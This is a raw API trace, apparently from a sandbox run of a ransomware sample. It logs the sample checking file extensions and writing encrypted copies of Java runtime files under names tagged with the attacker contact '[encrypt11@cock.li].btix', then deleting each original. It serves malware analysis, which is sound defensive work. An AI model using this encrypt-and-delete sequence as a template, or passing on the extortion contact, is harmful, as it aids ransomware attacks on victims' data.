[0152.149] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0152.149] lstrlenW (lpString=".7z") returned 3 [0152.149] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0152.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.149] lstrlenW (lpString=".dbf") returned 4 [0152.149] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0152.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.149] lstrlenW (lpString=".1cd") returned 4 [0152.149] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0152.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.149] lstrlenW (lpString=".jpg") returned 4 [0152.149] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0152.149] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.149] lstrlenW (lpString="messages.properties") returned 19 [0152.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.149] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2860) returned 1 [0152.149] CloseHandle (hObject=0x36c) returned 1 [0152.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0152.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.150] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.150] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.150] GetLastError () returned 0x0 [0152.150] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0152.151] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xb30, lpOverlapped=0x0) returned 1 [0152.152] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.152] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfa, lpOverlapped=0x0) returned 1 [0152.152] SetEndOfFile (hFile=0x33c) returned 1 [0152.152] CloseHandle (hObject=0x33c) returned 1 [0152.152] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.152] SetEndOfFile (hFile=0x36c) returned 1 [0152.153] CloseHandle (hObject=0x36c) returned 1 [0152.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.153] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0152.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.153] lstrlenW (lpString=".doc") returned 4 [0152.153] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.153] lstrlenW (lpString=".docx") returned 5 [0152.153] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.154] lstrlenW (lpString=".pdf") returned 4 [0152.154] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".xls") returned 4 [0152.154] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".xlsx") returned 5 [0152.154] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.154] lstrlenW (lpString=".ppt") returned 4 [0152.154] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString=".zip") returned 4 [0152.154] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".rar") returned 4 [0152.154] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".bz2") returned 4 [0152.154] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".7z") returned 3 [0152.154] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString=".dbf") returned 4 [0152.154] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString=".1cd") returned 4 [0152.154] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString=".jpg") returned 4 [0152.154] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.154] lstrlenW (lpString=".doc") returned 4 [0152.154] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.154] lstrlenW (lpString=".docx") returned 5 [0152.154] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.154] lstrlenW (lpString=".pdf") returned 4 [0152.154] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString=".xls") returned 4 [0152.155] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString=".xlsx") returned 5 [0152.155] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.155] lstrlenW (lpString=".ppt") returned 4 [0152.155] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.155] lstrlenW (lpString=".zip") returned 4 [0152.155] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString=".rar") returned 4 [0152.155] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString=".bz2") returned 4 [0152.155] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString=".7z") returned 3 [0152.155] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.155] lstrlenW (lpString=".dbf") returned 4 [0152.155] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.155] lstrlenW (lpString=".1cd") returned 4 [0152.155] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0152.155] lstrlenW (lpString=".jpg") returned 4 [0152.155] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.155] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.155] lstrlenW (lpString="messages_de.properties") returned 22 [0152.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.156] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3306) returned 1 [0152.156] CloseHandle (hObject=0x36c) returned 1 [0152.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0152.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.156] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.156] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.156] GetLastError () returned 0x0 [0152.156] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xcea, lpOverlapped=0x0) returned 1 [0152.157] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0152.158] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.158] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.158] SetEndOfFile (hFile=0x33c) returned 1 [0152.158] CloseHandle (hObject=0x33c) returned 1 [0152.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.158] SetEndOfFile (hFile=0x36c) returned 1 [0152.159] CloseHandle (hObject=0x36c) returned 1 [0152.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.159] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0152.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.159] lstrlenW (lpString=".doc") returned 4 [0152.159] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.159] lstrlenW (lpString=".docx") returned 5 [0152.160] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.160] lstrlenW (lpString=".pdf") returned 4 [0152.160] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".xls") returned 4 [0152.160] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".xlsx") returned 5 [0152.160] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.160] lstrlenW (lpString=".ppt") returned 4 [0152.160] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString=".zip") returned 4 [0152.160] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".rar") returned 4 [0152.160] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".bz2") returned 4 [0152.160] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".7z") returned 3 [0152.160] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString=".dbf") returned 4 [0152.160] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString=".1cd") returned 4 [0152.160] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString=".jpg") returned 4 [0152.160] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.160] lstrlenW (lpString=".doc") returned 4 [0152.160] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.160] lstrlenW (lpString=".docx") returned 5 [0152.160] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.160] lstrlenW (lpString=".pdf") returned 4 [0152.161] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString=".xls") returned 4 [0152.161] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString=".xlsx") returned 5 [0152.161] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.161] lstrlenW (lpString=".ppt") returned 4 [0152.161] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.161] lstrlenW (lpString=".zip") returned 4 [0152.161] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString=".rar") returned 4 [0152.161] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString=".bz2") returned 4 [0152.161] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString=".7z") returned 3 [0152.161] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.161] lstrlenW (lpString=".dbf") returned 4 [0152.161] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.161] lstrlenW (lpString=".1cd") returned 4 [0152.161] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0152.161] lstrlenW (lpString=".jpg") returned 4 [0152.161] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.161] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.161] lstrlenW (lpString="messages_es.properties") returned 22 [0152.161] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.162] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3600) returned 1 [0152.162] CloseHandle (hObject=0x36c) returned 1 [0152.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0152.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.162] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.162] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.162] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.162] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.162] GetLastError () returned 0x0 [0152.162] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xe10, lpOverlapped=0x0) returned 1 [0152.398] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe20, lpOverlapped=0x0) returned 1 [0152.399] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.399] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.399] SetEndOfFile (hFile=0x33c) returned 1 [0152.399] CloseHandle (hObject=0x33c) returned 1 [0152.399] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.399] SetEndOfFile (hFile=0x36c) returned 1 [0152.400] CloseHandle (hObject=0x36c) returned 1 [0152.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.400] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0152.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.400] lstrlenW (lpString=".doc") returned 4 [0152.401] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".docx") returned 5 [0152.401] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.401] lstrlenW (lpString=".pdf") returned 4 [0152.401] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".xls") returned 4 [0152.401] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".xlsx") returned 5 [0152.401] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.401] lstrlenW (lpString=".ppt") returned 4 [0152.401] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString=".zip") returned 4 [0152.401] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".rar") returned 4 [0152.401] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".bz2") returned 4 [0152.401] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".7z") returned 3 [0152.401] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString=".dbf") returned 4 [0152.401] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString=".1cd") returned 4 [0152.401] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString=".jpg") returned 4 [0152.401] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.401] lstrlenW (lpString=".doc") returned 4 [0152.401] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.401] lstrlenW (lpString=".docx") returned 5 [0152.401] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.402] lstrlenW (lpString=".pdf") returned 4 [0152.402] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString=".xls") returned 4 [0152.402] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString=".xlsx") returned 5 [0152.402] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.402] lstrlenW (lpString=".ppt") returned 4 [0152.402] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.402] lstrlenW (lpString=".zip") returned 4 [0152.402] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString=".rar") returned 4 [0152.402] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString=".bz2") returned 4 [0152.402] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString=".7z") returned 3 [0152.402] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.402] lstrlenW (lpString=".dbf") returned 4 [0152.402] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.402] lstrlenW (lpString=".1cd") returned 4 [0152.402] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0152.402] lstrlenW (lpString=".jpg") returned 4 [0152.402] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.402] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.402] lstrlenW (lpString="dnsns.jar") returned 9 [0152.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.403] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=8286) returned 1 [0152.403] CloseHandle (hObject=0x36c) returned 1 [0152.403] GetFileAttributesW 